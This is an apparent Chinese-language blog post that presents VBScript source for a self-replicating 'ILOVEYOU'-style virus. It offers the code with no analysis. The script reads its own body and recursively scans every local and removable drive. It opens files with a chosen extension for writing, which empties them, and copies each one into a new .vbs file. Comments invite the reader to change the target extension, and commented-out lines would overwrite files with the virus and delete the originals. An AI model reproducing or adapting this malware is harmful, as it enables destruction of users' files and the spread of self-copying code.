vbs爱虫病毒

废话不多说，直接上代码

dim folder,fso,foldername,f,d,dc
set fso=createobject("scripting.filesystemobject")
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall                  '读取病毒体，以备复制到文件
self.close
set dc=fso.Drives
for each d in dc
if d.drivetype=3 or d.drivetype=2 then      '检查磁盘类型
wscript.echo d                    '弹出窗口，显示找到盘符
scan(d)
end if
next
lsfile=wscript.scriptfullname            '该脚本程序路径
set lsfile=fso.getfile(lsfile)
sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file)          '获取文件后缀
ext=lcase(ext)                      '后缀名转换成小写字母
if ext="mp5" then                    '可以自己修改为其他扩展名，最好不是正常的扩展名如“MP5”
set ap=fso.opentextfile(file.path,2,true)
'   ap.write vbscopy                    '覆盖文件
ap.close
set cop=fso.getfile(file.path)
cop.copy(file.path & ".vbs")            '创建另一个病毒文件
'  file.delete(true)                  '删除原来的文件
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders          '搜索其他目录
scan(subfolder)
next
end sub